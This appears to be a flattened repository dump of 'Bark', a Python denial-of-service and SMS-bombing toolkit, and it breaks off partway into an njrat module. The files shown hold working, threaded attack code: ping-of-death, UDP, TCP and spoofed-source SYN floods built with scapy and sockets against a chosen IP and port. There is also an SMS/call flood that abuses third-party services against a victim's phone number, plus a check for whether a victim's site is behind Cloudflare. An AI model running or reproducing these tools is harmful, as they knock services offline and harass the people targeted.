├── .github ├── images └── logo1.png ├── requirements.txt ├── tools ├── SMS │ ├── proxy.json │ ├── names.json │ ├── numberTools.py │ ├── main.py │ ├── randomData.py │ ├── sendRequest.py │ ├── user_agents.json │ └── services.json ├── addons │ ├── clean.py │ └── logo.py ├── randomData.py ├── ipTools.py ├── L4 │ ├── pod.py │ ├── udp.py │ ├── syn.py │ ├── tcp.py │ ├── njrat.py │ ├── ntp.py │ ├── memcached.py │ └── ntp_servers.txt └── L7 │ ├── slowloris.py │ ├── http.py │ ├── user_agents.json │ └── referers.txt ├── banner └── banner.txt ├── LICENSE ├── bin └── bark ├── README.md └── bark /.github/images: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | phonenumbers 2 | requests 3 | scapy 4 | wget 5 | argparse 6 | -------------------------------------------------------------------------------- /.github/logo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sloobot/Bark/HEAD/.github/logo1.png -------------------------------------------------------------------------------- /tools/SMS/proxy.json: -------------------------------------------------------------------------------- 1 | { 2 | "proxy": { 3 | "http": "", 4 | "https": "" 5 | } 6 | } -------------------------------------------------------------------------------- /banner/banner.txt: -------------------------------------------------------------------------------- 1 | ▄▄▄▄ ▄▄▄ ██▀███ ██ ▄█▀ 2 | ▓█████▄ ▒████▄ ▓██ ▒ ██▒ ██▄█▒ 3 | ▒██▒ ▄██▒██ ▀█▄ ▓██ ░▄█ ▒▓███▄░ 4 | ▒██░█▀ ░██▄▄▄▄██ ▒██▀▀█▄ ▓██ █▄ 5 | ░▓█ ▀█▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ █▄ 6 | ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒ 7 | ▒░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░▒ ▒░ 8 | ░ ░ ░ ▒ ░░ ░ ░ ░░ ░ 9 | ░ ░ ░ ░ ░ ░ 10 | ░ 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Sloobot 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /tools/SMS/names.json: -------------------------------------------------------------------------------- 1 | { 2 | "names": [ 3 | "Jamie", 4 | "Coleen", 5 | "Mafalda", 6 | "Portia", 7 | "Katheryn", 8 | "Jeannine", 9 | "Sunni", 10 | "Elda", 11 | "Dora", 12 | "Logan", 13 | "Fausto", 14 | "Sebrina", 15 | "Wyatt", 16 | "Judy", 17 | "Lashaun", 18 | "Myrta", 19 | "Elia", 20 | "Florentino", 21 | "Yuk", 22 | "Pearle", 23 | "Kip", 24 | "Jefferson", 25 | "Sharon", 26 | "Alix", 27 | "Rodger", 28 | "Latanya", 29 | "Sharron", 30 | "Delila", 31 | "Millard", 32 | "Ria", 33 | "Irene", 34 | "Emelda", 35 | "Eboni", 36 | "Wilfredo", 37 | "Ivelisse", 38 | "Emerita", 39 | "Izetta", 40 | "Rhonda", 41 | "Marlena", 42 | "Amber", 43 | "Erline", 44 | "Bryanna", 45 | "Marisha", 46 | "Rosie", 47 | "Kathern", 48 | "Paulita", 49 | "Sonny", 50 | "Jocelyn", 51 | "Mariette", 52 | "Elease" 53 | ] 54 | } -------------------------------------------------------------------------------- /tools/addons/clean.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import os 26 | 27 | os.system("clear") 28 | -------------------------------------------------------------------------------- /tools/addons/logo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # MIT License 4 | # 5 | # Copyright (C) 2020, Entynetproject. All Rights Reserved. 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to deal 9 | # in the Software without restriction, including without limitation the rights 10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | # copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in all 15 | # copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | # SOFTWARE. 24 | 25 | import os 26 | 27 | print("") 28 | os.system("cat banner/banner.txt") 29 | print("") 30 | -------------------------------------------------------------------------------- /tools/SMS/numberTools.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | from phonenumbers import geocoder, parse 26 | 27 | # Make for Russian numbers 28 | def normalize(phone): 29 | if phone[0] == "+": 30 | phone = phone[1:] 31 | return phone 32 | 33 | # Make for other services 34 | def transformPhone(phone, i): 35 | if i == 5: 36 | return '+' + phone[0] + ' (' + phone[1:4] + ') ' + phone[4:7] + ' ' + phone[7:9] + ' ' + phone[9:11] 37 | 38 | # Get country name by phone 39 | def getCountry(phone): 40 | query = parse("+" + phone, None) 41 | return repr(geocoder.description_for_number(query, 'en')) 42 | -------------------------------------------------------------------------------- /tools/randomData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import json 26 | import random 27 | 28 | # Get random IP 29 | def random_IP(): 30 | ip = [] 31 | for _ in range(0, 4): 32 | ip.append(str(random.randint(1,255))) 33 | return ".".join(ip) 34 | 35 | # Get random referer 36 | def random_referer(): 37 | with open("tools/L7/referers.txt", 'r') as referers: 38 | referers = referers.readlines() 39 | return random.choice(referers) 40 | 41 | # Get random user agent 42 | def random_useragent(): 43 | with open("tools/L7/user_agents.json", 'r') as agents: 44 | user_agents = json.load(agents)["agents"] 45 | return random.choice(user_agents) 46 | -------------------------------------------------------------------------------- /tools/ipTools.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import socket 26 | import requests 27 | import ipaddress 28 | from urllib.parse import urlparse 29 | 30 | # Check if site is in cloudflare 31 | def isCloudFlare(link): 32 | parsed_uri = urlparse(link) 33 | domain = '{uri.netloc}'.format(uri = parsed_uri) 34 | try: 35 | origin = socket.gethostbyname(domain) 36 | iprange = requests.get('https://www.cloudflare.com/ips-v4').text 37 | ipv4 = [row.rstrip() for row in iprange.splitlines()] 38 | for i in range(len(ipv4)): 39 | if ipaddress.ip_address(origin) in ipaddress.ip_network(ipv4[i]): 40 | return True 41 | except socket.gaierror: 42 | print("\033[1;31m"+"[-]"+"\033[0m"+"Unable to verify if victim's IP address belong to a CloudFlare\'s subnet!") 43 | return False 44 | -------------------------------------------------------------------------------- /tools/L4/pod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | from scapy.all import IP, ICMP, sendp, send, fragment, conf 28 | from threading import Thread 29 | # Import modules for POD flood 30 | import tools.randomData as randomData 31 | 32 | def POD_ATTACK(threads, attack_time, target): 33 | # Finish 34 | global FINISH 35 | FINISH = False 36 | 37 | target_ip = target 38 | 39 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting POD attack...") 40 | 41 | threads_list = [] 42 | 43 | # POD flood 44 | def pod_flood(): 45 | global FINISH 46 | payload = random.choice(list("1234567890qwertyuiopasdfghjklzxcvbnm")) * 60000 47 | packet = IP(dst = target_ip) / ICMP(id = 65535, seq = 65535) / payload 48 | 49 | while not FINISH: 50 | for i in range(16): 51 | send(packet, verbose = False) 52 | print("\033[1;32m"+"[+]"+"\033[0m"+" Packet was sent!") 53 | 54 | # Start threads 55 | for thread in range(0, threads): 56 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 57 | t = Thread(target = pod_flood) 58 | t.start() 59 | threads_list.append(t) 60 | # Sleep selected secounds 61 | time.sleep(attack_time) 62 | # Terminate threads 63 | for thread in threads_list: 64 | FINISH = True 65 | thread.join() 66 | 67 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 68 | -------------------------------------------------------------------------------- /tools/SMS/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import time 26 | from threading import Thread 27 | # Import modules for SMS & CALL flood 28 | import tools.SMS.sendRequest as request 29 | import tools.SMS.numberTools as number 30 | import tools.SMS.randomData as randomData 31 | 32 | def SMS_ATTACK(threads, attack_time, phone): 33 | # Finish 34 | global FINISH 35 | FINISH = False 36 | threads_list = [] 37 | 38 | # Get services list 39 | services = request.getServices() 40 | # Make for Russian numbers 41 | phone = number.normalize(phone) 42 | # Get country name by phone 43 | country = number.getCountry(phone) 44 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting SMS attack...") 45 | 46 | # Send SMS 47 | def sms_flood(): 48 | while not FINISH: 49 | service = randomData.random_service(services) 50 | service = request.Service(service) 51 | service.sendMessage(phone) 52 | 53 | 54 | # Start threads 55 | for thread in range(threads): 56 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting thread " + str(thread) + "...") 57 | t = Thread(target = sms_flood) 58 | t.start() 59 | threads_list.append(t) 60 | # Sleep selected secounds 61 | try: 62 | time.sleep(attack_time) 63 | except KeyboardInterrupt: 64 | FINISH = True 65 | # Terminate threads 66 | for thread in threads_list: 67 | FINISH = True 68 | thread.join() 69 | 70 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 71 | -------------------------------------------------------------------------------- /tools/SMS/randomData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import json 26 | import random 27 | 28 | mails = ( 29 | "mail.ru", 30 | "inbox.ru", 31 | "list.ru", 32 | "bk.ru", 33 | "ya.ru", 34 | "yandex.com", 35 | "yandex.ua", 36 | "yandex.ru", 37 | "gmail.com" 38 | ) 39 | 40 | 41 | # Get random service 42 | def random_service(list): 43 | return random.choice(list) 44 | 45 | # Create random name 46 | def random_name(): 47 | with open("tools/SMS/names.json", 'r') as names: 48 | names = json.load(names)["names"] 49 | return random.choice(names) 50 | 51 | # Create random suffix for email 52 | # %random_name%SUFFIX@%random_email% 53 | def random_suffix(int_range = 4): 54 | numbers = [] 55 | for _ in range(int_range): 56 | numbers.append(str(random.randint(1, 9))) 57 | return "".join(numbers) 58 | 59 | 60 | # Create random email by name, suffix, mail 61 | # Example: Jefferson3715@gmail.com 62 | def random_email(): 63 | return random_name() + random_suffix() + "@" + random.choice(mails) 64 | 65 | # Create random password 66 | # %random_name%%random_suffix% 67 | def random_password(): 68 | return random_name() + random_suffix(int_range = 10) 69 | 70 | # Get random user agent 71 | def random_useragent(): 72 | with open("tools/SMS/user_agents.json", 'r') as agents: 73 | user_agents = json.load(agents)["agents"] 74 | return random.choice(user_agents) 75 | -------------------------------------------------------------------------------- /tools/L4/udp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | import socket 28 | from threading import Thread 29 | 30 | def UDP_ATTACK(threads, attack_time, target): 31 | # Finish 32 | global FINISH 33 | FINISH = False 34 | target_ip = target.split(":")[0] 35 | target_port = int(target.split(":")[1]) 36 | 37 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting UDP attack...") 38 | 39 | 40 | threads_list = [] 41 | 42 | # UDP flood 43 | def udp_flood(): 44 | global FINISH 45 | # Create socket 46 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 47 | while True: 48 | if FINISH: 49 | break 50 | # Send random payload 51 | try: 52 | for _ in range(16): 53 | payload = random._urandom(random.randint(1, 60)) 54 | sock.sendto(payload, (target_ip, target_port)) 55 | except Exception as e: 56 | print(e) 57 | else: 58 | print("\033[1;32m"+"[+]"+"\033[0m"+" UDP packet was sent! Packet size: " + str(len(payload)) + ".") 59 | 60 | # Start threads 61 | for thread in range(threads): 62 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread)+ "...") 63 | t = Thread(target = udp_flood) 64 | t.start() 65 | threads_list.append(t) 66 | # Sleep selected secounds 67 | time.sleep(attack_time) 68 | # Terminate threads 69 | for thread in threads_list: 70 | FINISH = True 71 | thread.join() 72 | 73 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 74 | -------------------------------------------------------------------------------- /tools/L4/syn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | from scapy.all import IP, TCP, send 28 | from threading import Thread 29 | # Import modules for SYN flood 30 | import tools.randomData as randomData 31 | 32 | def SYN_ATTACK(threads, attack_time, target): 33 | # Finish 34 | global FINISH 35 | FINISH = False 36 | 37 | target_ip = target.split(":")[0] 38 | target_port = int(target.split(":")[1]) 39 | 40 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting SYN attack...") 41 | 42 | 43 | threads_list = [] 44 | 45 | # SYN flood 46 | def syn_flood(): 47 | global FINISH 48 | while True: 49 | if FINISH: 50 | break 51 | 52 | IP_Packet = IP() 53 | IP_Packet.src = randomData.random_IP() 54 | IP_Packet.dst = target_ip 55 | 56 | TCP_Packet = TCP() 57 | TCP_Packet.sport = random.randint(1000, 10000) 58 | TCP_Packet.dport = target_port 59 | TCP_Packet.flags = "S" 60 | TCP_Packet.seq = random.randint(1000, 10000) 61 | TCP_Packet.window = random.randint(1000, 10000) 62 | try: 63 | send(IP_Packet / TCP_Packet, verbose = False) 64 | except Exception as e: 65 | print(e) 66 | else: 67 | print("\033[1;32m"+"[+]"+"\033[0m"+" SYN packet was sent!") 68 | 69 | # Start threads 70 | for thread in range(0, threads): 71 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 72 | t = Thread(target = syn_flood) 73 | t.start() 74 | threads_list.append(t) 75 | # Sleep selected secounds 76 | time.sleep(attack_time) 77 | # Terminate threads 78 | for thread in threads_list: 79 | FINISH = True 80 | thread.join() 81 | 82 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 83 | -------------------------------------------------------------------------------- /tools/L4/tcp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | import socket 28 | from threading import Thread 29 | 30 | def TCP_ATTACK(threads, attack_time, target): 31 | # Finish 32 | global FINISH 33 | FINISH = False 34 | target_ip = target.split(":")[0] 35 | target_port = int(target.split(":")[1]) 36 | 37 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting TCP attack...") 38 | 39 | 40 | threads_list = [] 41 | 42 | # TCP flood 43 | def tcp_flood(): 44 | global FINISH 45 | 46 | while True: 47 | if FINISH: 48 | break 49 | 50 | # Create socket 51 | try: 52 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | sock.connect((target_ip, target_port)) 54 | except Exception as e: 55 | print(e) 56 | print("\033[1;31m"+"[-]"+"\033[0m"+" Failed to create TCP connection!") 57 | exit() 58 | 59 | # Send random payload 60 | try: 61 | for _ in range(16): 62 | payload = random._urandom(random.randint(1, 120)) 63 | sock.send(payload) 64 | except Exception as e: 65 | print(e) 66 | time.sleep(0.25) 67 | continue 68 | else: 69 | print("\033[1;32m"+"[+]"+"\033[0m"+" TCP packet was sent! Packet size: " + str(len(payload)) + ".") 70 | 71 | # Start threads 72 | for thread in range(threads): 73 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 74 | t = Thread(target = tcp_flood) 75 | t.start() 76 | threads_list.append(t) 77 | # Sleep selected secounds 78 | time.sleep(attack_time) 79 | # Terminate threads 80 | for thread in threads_list: 81 | FINISH = True 82 | thread.join() 83 | 84 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 85 | -------------------------------------------------------------------------------- /tools/L4/njrat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT 